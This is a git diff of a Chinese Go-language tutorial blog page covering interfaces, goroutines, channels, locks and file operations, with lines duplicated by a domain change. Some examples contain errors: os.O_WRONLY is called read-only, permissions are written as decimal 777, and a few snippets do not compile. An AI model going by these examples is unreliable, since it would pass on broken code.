-</code></pre><p>看看多协程实质执行效果</p><pre><code>var vg sync.WaitGroup
-func data(num int) {
-    for i := 0; i &lt;= 10; i++ {
-        fmt.Printf(&quot;协程%v输出的%v条数据 \n&quot;, num, i)
-    }
-    vg.Done()
-}
-func main() {
-    for i := 0; i &lt;= 10; i++ {
-        go data(i)
-        vg.Add(1)
-    }
-    vg.Wait()
-    fmt.Println(&quot;主线程结束&quot;)
-}
-</code></pre><p>通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine</p><p>go语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信</p><p>channel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型</p><p>声明管道（通过chan关键字声明）</p><pre><code>var ch1 chan int // 声明传递整型的管道
-var ch2 chan string // 声明传递字符串的管道
-</code></pre><p>因为其是引用类型，需要使用make()声明内存空间才能使用</p><pre><code>ch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道
-ch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道
-</code></pre><p>管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用&lt;-符号表示，例如：</p><pre><code>ch2 &lt;- &quot;hall word&quot; // 将hall word发送到ch2管道里
-data := &lt;- ch2 // 接收ch2管道的数据
-close(ch2) // 通过内置的close函数关闭管道
-</code></pre><p>管道也有容量，长度，用cap(), len()获取</p><p>管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞</p><p>注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误</p><p>另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了</p><p>goroutine和channel协作</p><pre><code>func data(ch1 chan int) {
-    for i := 0; i &lt;= 5; i++ {
-        fmt.Println(&quot;写入:&quot;, i)
-        ch1 &lt;- i
-        time.Sleep(time.Millisecond * 100)
-    }
-    wg.Done()
-}
-func dataGet(ch1 chan int) {
-    for a := 0; a &lt;= 5; a++ {
-        fmt.Println(&quot;接收:&quot;, &lt;-ch1)
-        time.Sleep(time.Millisecond * 100)
-    }
-    wg.Done()
-}
-func main() {
-    ch1 := make(chan int, 5)
-    wg.Add(1)
-    go data(ch1)
-    wg.Add(1)
-    go dataGet(ch1)
-    wg.Wait()
-    fmt.Println(&quot;主线程结束&quot;)
-}
-</code></pre><p>data函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据</p><p>单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）</p><p>声明只可发送的管道（不能接收）</p><pre><code>var ch = make(chan&lt;- int, 5)
-ch &lt;- 10
-</code></pre><p>声明只可读的管道（不能发送）</p><pre><code>var ch1 = make(&lt;-chan int, 5)
-&lt;- ch1
-</code></pre><p>使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞</p><p>select关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句</p><p>例如：</p><pre><code>var ch1 = make(chan int, 10)
-ch1 &lt;- 1
-ch1 &lt;- 2
-ch1 &lt;- 10
-ch1 &lt;- 8
-ch1 &lt;- 0
-ch1 &lt;- 23
-var ch2 = make(chan string, 10)
-ch2 &lt;- &quot;hallo word&quot;
-ch2 &lt;- &quot;hallo golang&quot;
-for {
-    select {
-        case data:= &lt;- ch1:
-        fmt.Println(&quot;读取ch1的数据：&quot;, data)
-        case data:= &lt;- ch2:
-        fmt.Println(&quot;读取ch2的数据：&quot;, data)
-        default:
-        fmt.Println(&quot;所有的数据获取完毕&quot;)
-        return
-    }
-}
-</code></pre><p>可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）</p><p>并发安全和锁</p><p>在并发环境中，可能会出现并发访问的问题，需要使用互斥锁</p><p>互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()</p><pre><code>var mutex sync.Mutex  // 定义锁
-mutex.Lock() // 上锁
-mutex.Unlock() // 解锁
-</code></pre><p>当禁止访问公共资源时上锁，当需要访问公共资源时解锁</p><p>互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了</p><p>读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁</p><p>读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据</p><p>在go语言中，读写锁用sync.RWMutex定义</p><pre><code>var mu sync.RWMutex // 定义读写锁
-mu.RLock() // 上锁
-mu.RUnlock() // 解锁
-</code></pre><hr><p>操作文件和目录</p><p>使用os.Open读取文件</p><pre><code>file, err := os.Open(&quot;./data.txt&quot;) // 读取文件
-defer file.Close() // 关闭文件流
-if err != nil {
-    fmt.Println(&quot;打开文件出错&quot;)
-}
-var bytedata = make([]byte, 1024)
-for {
-    n, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾
-    if err == io.EOF {
-        fmt.Printf(&quot;读取完毕&quot;)
-        break
-    }
-    fmt.Printf(&quot;读取到了%v 个字节 \n&quot;, n)
-    var strdata []byte
-    strdata := append(strdata, bytedata...)
-    fmt.Println(string(strdata))
-}
-</code></pre><p>另一种读取方式（bufio，读取大文件推荐使用这个）</p><pre><code>file, err := os.Open(&quot;./data.txt&quot;) // 读取文件
-defer file.Close() // 关闭文件流
-if err != nil {
-    fmt.Println(&quot;打开文件出错&quot;)
-}
-reader := bufio.NewReader(file)
-var fileStr string
-    var count int = 0
-    for {
-        str, err := reader.ReadString('\n')
-        if err == io.EOF {
-            fileStr += str
-            fmt.Println(&quot;读取结束&quot;, count)
-            break
-        }
-        if err != nil {
-            fmt.Println(err)
-            break
-        }
-        count ++
-        fileStr += str
-    }
-fmt.Println(fileStr)
-</code></pre><p>读取小文件（ioutil）</p><pre><code>Strdata, err:= ioutil.ReadFile(&quot;./data.txt&quot;)
-if err != nil {
-    fmt.Println(&quot;打开文件出错&quot;)
-}
-fmt.Println(string(Strdata))
-</code></pre><p>写入文件（os.OpenFile）</p><pre><code>file, err := os.OpenFile(&quot;./data.txt&quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件
-defer file.Close() // 关闭文件流
-if err != nil {
-    fmt.Println(&quot;打开文件出错&quot;)
-}
-str := &quot;hallo word&quot;
-file.WriteString(str) // 写入文件
+go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值</p><p>手动修改go.mod，执行go mod download或者使用go get</p><hr><hr><p>go的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现</p><p>接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体</p><pre><code>type TestData interface{
+    // 定义一个TestData接口
+    test()
+    data()
+}
+type Data struct {
+    // 实现接口
+    User string
+}
+func (d Data) test()  {
+    fmt.Println(d.User, &quot;Test&quot;)
+}
+func (d Data) data()  {
+    fmt.Println(d.User, &quot;Data&quot;)
+}
+func main() {
+    var datamain TestData = Data{
+        &quot;root&quot;,
+    }
+    datamain.test()
+    datamain.data()
+}
+</code></pre><p>空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）</p><pre><code>type Maxdata interface {
+    // 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口
+}
+func main() {
+    var abc Maxdata
+    var str = &quot;hallo word&quot;
+    abc = str
+    fmt.Println(abc)
+}
+</code></pre><p>Go1.18版本已添加any关键字来表示泛型</p><pre><code>func main(){
+    var abc any
+    abc = 'hallo any'
+    fmt.Println(abc)
+}
+</code></pre><p>实质上any还是空接口interface{}的类型别名，type any = interface{}</p><p>空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）</p><p>空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数</p><pre><code>func Data(abc interface{}) {
+    fmt.println(abc)
+}
+</code></pre><p>使用空接口来实现可以保存任意类型的map</p><pre><code>var dataInfo = make(map[string]interface{})
+dataInfo[&quot;uesr&quot;] = &quot;root&quot;
+dataInfo[&quot;age&quot;] = 20
+dataInfo[&quot;pass&quot;] = &quot;123456789&quot;
+</code></pre><p>使用空接口来实现一个空接口类型的切片</p><pre><code>var dataslice = make([]interface{}, 6, 6)
+dataslice[0] = &quot;root&quot;
+dataslice[1] = 20
+dataslice[3] = &quot;123456789&quot;
+</code></pre><p>类型断言</p><p>接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值</p><p>判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)</p><p>例如：</p><pre><code>var abc interface{}
+abc = 123
+value, isInt := abc.(int)
+if isInt {
+    fmt.Println(&quot;int类型, 值为：&quot;, value)
+} else {
+    fmt.Println(&quot;不是int类型，断言失败&quot;)
+}
+</code></pre><hr><p>Go并发</p><p>还是讲一下进程和线程的区别</p><p>进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态</p><p>线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程</p><p>并发和并行的区别</p><p>并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发</p><p>并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行</p><p>并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程</p><p>当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发</p><p>go的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了</p><p>每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）</p><p>通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如</p><pre><code>var wg sync.WaitGroup // 协程计数器
+func data1() {
+    for i := 0; i &lt; 5; i++ {
+        fmt.Println(&quot;hallo word&quot;)
+        time.Sleep(time.Millisecond * 100)
+    }
+    wg.Done() // 程序结束则协程计数器减1
+}
+func data2() {
+    for a := 0; a &lt; 5; a++ {
+        fmt.Println(&quot;hallo golang&quot;)
+        time.Sleep(time.Millisecond * 100)
+    }
+    wg.Done() // 程序结束则协程计数器减1
+}
+func main() {
+    wg.Add(1) // 协程计数器加1
+    go data1()
+    wg.Add(1) // 协程计数器加1
+    go data2()
+    for i := 0; i &lt; 5; i++ {
+        fmt.Println(&quot;hallo hahaha&quot;)
+        time.Sleep(time.Millisecond * 100)
+    }
+    wg.Wait() // 等待所有的协程执行完毕
+    fmt.Println(&quot;主线程结束&quot;)
+}
+</code></pre><p>通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程</p><p>go运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数</p><p>注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数</p><pre><code>Cpu := runtime.NumCPU() // 获取cpu个数
+fmt.Println(&quot;cpu核心数:&quot;, Cpu)
+runtime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量
+</code></pre><p>看看多协程实质执行效果</p><pre><code>var vg sync.WaitGroup
+func data(num int) {
+    for i := 0; i &lt;= 10; i++ {
+        fmt.Printf(&quot;协程%v输出的%v条数据 \n&quot;, num, i)
+    }
+    vg.Done()
+}
+func main() {
+    for i := 0; i &lt;= 10; i++ {
+        go data(i)
+        vg.Add(1)
+    }
+    vg.Wait()
+    fmt.Println(&quot;主线程结束&quot;)
+}
+</code></pre><p>通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine</p><p>go语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信</p><p>channel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型</p><p>声明管道（通过chan关键字声明）</p><pre><code>var ch1 chan int // 声明传递整型的管道
+var ch2 chan string // 声明传递字符串的管道
+</code></pre><p>因为其是引用类型，需要使用make()声明内存空间才能使用</p><pre><code>ch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道
+ch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道
+</code></pre><p>管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用&lt;-符号表示，例如：</p><pre><code>ch2 &lt;- &quot;hall word&quot; // 将hall word发送到ch2管道里
+data := &lt;- ch2 // 接收ch2管道的数据
+close(ch2) // 通过内置的close函数关闭管道
+</code></pre><p>管道也有容量，长度，用cap(), len()获取</p><p>管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞</p><p>注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误</p><p>另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了</p><p>goroutine和channel协作</p><pre><code>func data(ch1 chan int) {
+    for i := 0; i &lt;= 5; i++ {
+        fmt.Println(&quot;写入:&quot;, i)
+        ch1 &lt;- i
+        time.Sleep(time.Millisecond * 100)
+    }
+    wg.Done()
+}
+func dataGet(ch1 chan int) {
+    for a := 0; a &lt;= 5; a++ {
+        fmt.Println(&quot;接收:&quot;, &lt;-ch1)
+        time.Sleep(time.Millisecond * 100)
+    }
+    wg.Done()
+}
+func main() {
+    ch1 := make(chan int, 5)
+    wg.Add(1)
+    go data(ch1)
+    wg.Add(1)
+    go dataGet(ch1)
+    wg.Wait()
+    fmt.Println(&quot;主线程结束&quot;)
+}
+</code></pre><p>data函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据</p><p>单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）</p><p>声明只可发送的管道（不能接收）</p><pre><code>var ch = make(chan&lt;- int, 5)
+ch &lt;- 10
+</code></pre><p>声明只可读的管道（不能发送）</p><pre><code>var ch1 = make(&lt;-chan int, 5)
+&lt;- ch1
+</code></pre><p>使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞</p><p>select关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句</p><p>例如：</p><pre><code>var ch1 = make(chan int, 10)
+ch1 &lt;- 1
+ch1 &lt;- 2
+ch1 &lt;- 10
+ch1 &lt;- 8
+ch1 &lt;- 0
+ch1 &lt;- 23
+var ch2 = make(chan string, 10)
+ch2 &lt;- &quot;hallo word&quot;
+ch2 &lt;- &quot;hallo golang&quot;
+for {
+    select {
+        case data:= &lt;- ch1:
+        fmt.Println(&quot;读取ch1的数据：&quot;, data)
+        case data:= &lt;- ch2:
+        fmt.Println(&quot;读取ch2的数据：&quot;, data)
+        default:
+        fmt.Println(&quot;所有的数据获取完毕&quot;)
+        return
+    }
+}
+</code></pre><p>可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）</p><p>并发安全和锁</p><p>在并发环境中，可能会出现并发访问的问题，需要使用互斥锁</p><p>互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()</p><pre><code>var mutex sync.Mutex  // 定义锁
+mutex.Lock() // 上锁
+mutex.Unlock() // 解锁
+</code></pre><p>当禁止访问公共资源时上锁，当需要访问公共资源时解锁</p><p>互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了</p><p>读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁</p><p>读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据</p><p>在go语言中，读写锁用sync.RWMutex定义</p><pre><code>var mu sync.RWMutex // 定义读写锁
+mu.RLock() // 上锁
+mu.RUnlock() // 解锁
+</code></pre><hr><p>操作文件和目录</p><p>使用os.Open读取文件</p><pre><code>file, err := os.Open(&quot;./data.txt&quot;) // 读取文件
+defer file.Close() // 关闭文件流
+if err != nil {
+    fmt.Println(&quot;打开文件出错&quot;)
+}
+var bytedata = make([]byte, 1024)
+for {
+    n, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾
+    if err == io.EOF {
+        fmt.Printf(&quot;读取完毕&quot;)
+        break
+    }
+    fmt.Printf(&quot;读取到了%v 个字节 \n&quot;, n)
+    var strdata []byte
+    strdata := append(strdata, bytedata...)
+    fmt.Println(string(strdata))
+}
+</code></pre><p>另一种读取方式（bufio，读取大文件推荐使用这个）</p><pre><code>file, err := os.Open(&quot;./data.txt&quot;) // 读取文件
+defer file.Close() // 关闭文件流
+if err != nil {
+    fmt.Println(&quot;打开文件出错&quot;)
+}
+reader := bufio.NewReader(file)
+var fileStr string
+    var count int = 0
+    for {
+        str, err := reader.ReadString('\n')
+        if err == io.EOF {
+            fileStr += str
+            fmt.Println(&quot;读取结束&quot;, count)
+            break
+        }
+        if err != nil {
+            fmt.Println(err)
+            break
+        }
+        count ++
+        fileStr += str
+    }
+fmt.Println(fileStr)
+</code></pre><p>读取小文件（ioutil）</p><pre><code>Strdata, err:= ioutil.ReadFile(&quot;./data.txt&quot;)
+if err != nil {
+    fmt.Println(&quot;打开文件出错&quot;)
+}
+fmt.Println(string(Strdata))
+</code></pre><p>写入文件（os.OpenFile）</p><pre><code>file, err := os.OpenFile(&quot;./data.txt&quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件
+defer file.Close() // 关闭文件流
+if err != nil {
+    fmt.Println(&quot;打开文件出错&quot;)
+}
+str := &quot;hallo word&quot;
+file.WriteString(str) // 写入文件
 </code></pre><p>这里os.OpenFile接收3个参数，分别是要打开的文件的路径，打开文件的模式（多个模式用|隔开），文件的权限（和Linux文件权限一样，用八进制表示，读（04），写（02），执行（01），一般为777或者755）</p><p>os.O_WRONLY：只读
 os.O_CREATE：创建
 os.O_RDONLY：只读
 os.O_RDWR：读写
 os.O_TRUNC：清空
-os.O_APPEND：追加</p><p>bufio写入</p><pre><code>file, err := os.OpenFile(&quot;./main/test.txt&quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件
-defer file.Close()
-if err != nil {
-    fmt.Println(&quot;打开文件出错&quot;)
-}
-writer := bufio.NewWriter(file)
-writer.WriteString(&quot;hallo word&quot;)
-writer.Flush()
-</code></pre><p>ioutil写入</p><pre><code>str := &quot;hallo word&quot;
-ioutil.WriteFile(&quot;./data.txt&quot;, []byte(str), 777)
-</code></pre><p>复制内容到文件</p><pre><code>Str, err := ioutil.ReadFile(&quot;./data.txt&quot;)
-if err != nil {
-    fmt.Println(&quot;读取文件出错&quot;)
-    return
-}
-ioutil.WriteFile(&quot;./data1.txt&quot;, Str, 777)
-</code></pre><p>创建目录</p><p>os.Mkdir("./test", 777)</p><p>删除文件和目录</p><pre><code>os.Remove(&quot;data1.txt&quot;) // 删除文件
-os.Remove(&quot;./test) // 删除目录
-os.RemoveAll(&quot;./test1&quot;) // 和Remove一样，不过这个会递归删除所有子目录和文件
-</code></pre><p>重命名</p><pre><code>file := &quot;./data.txt&quot;
-err1 := os.Rename(file,&quot;test.txt&quot;)
-if err1 != nil {
-    panic(err1)
-} else {
-    fmt.Println(&quot;文件重命名成功&quot;)
-}
-folder := &quot;./demo&quot;
-err2 := os.Rename(folder, &quot;demo1&quot;)
-if err2 != nil {
-    panic(err1)
-} else {
-    fmt.Println(&quot;目录重命名成功&quot;)
-}
-</code></pre><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/97/><span class=title>« Prev</span><br><span>Redis学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/95/><span class=title>Next »</span><br><span>简单使用Jest-JavaScript测试工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+os.O_APPEND：追加</p><p>bufio写入</p><pre><code>file, err := os.OpenFile(&quot;./main/test.txt&quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件
+defer file.Close()
+if err != nil {
+    fmt.Println(&quot;打开文件出错&quot;)
+}
+writer := bufio.NewWriter(file)
+writer.WriteString(&quot;hallo word&quot;)
+writer.Flush()
+</code></pre><p>ioutil写入</p><pre><code>str := &quot;hallo word&quot;
+ioutil.WriteFile(&quot;./data.txt&quot;, []byte(str), 777)
+</code></pre><p>复制内容到文件</p><pre><code>Str, err := ioutil.ReadFile(&quot;./data.txt&quot;)
+if err != nil {
+    fmt.Println(&quot;读取文件出错&quot;)
+    return
+}
+ioutil.WriteFile(&quot;./data1.txt&quot;, Str, 777)
+</code></pre><p>创建目录</p><p>os.Mkdir("./test", 777)</p><p>删除文件和目录</p><pre><code>os.Remove(&quot;data1.txt&quot;) // 删除文件
+os.Remove(&quot;./test) // 删除目录
+os.RemoveAll(&quot;./test1&quot;) // 和Remove一样，不过这个会递归删除所有子目录和文件
+</code></pre><p>重命名</p><pre><code>file := &quot;./data.txt&quot;
+err1 := os.Rename(file,&quot;test.txt&quot;)
+if err1 != nil {
+    panic(err1)
+} else {
+    fmt.Println(&quot;文件重命名成功&quot;)
+}
+folder := &quot;./demo&quot;
+err2 := os.Rename(folder, &quot;demo1&quot;)
+if err2 != nil {
+    panic(err1)
+} else {
+    fmt.Println(&quot;目录重命名成功&quot;)
+}
+</code></pre><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/97/><span class=title>« Prev</span><br><span>Redis学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/95/><span class=title>Next »</span><br><span>简单使用Jest-JavaScript测试工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/97/index.html b/posts/97/index.html
index 19d75f67..4c792fe4 100644
--- a/posts/97/index.html
+++ b/posts/97/index.html
@@ -41,8 +41,8 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/97/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Redis学习笔记"><meta property="og:description" content="Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+daemonize yes"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/97/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
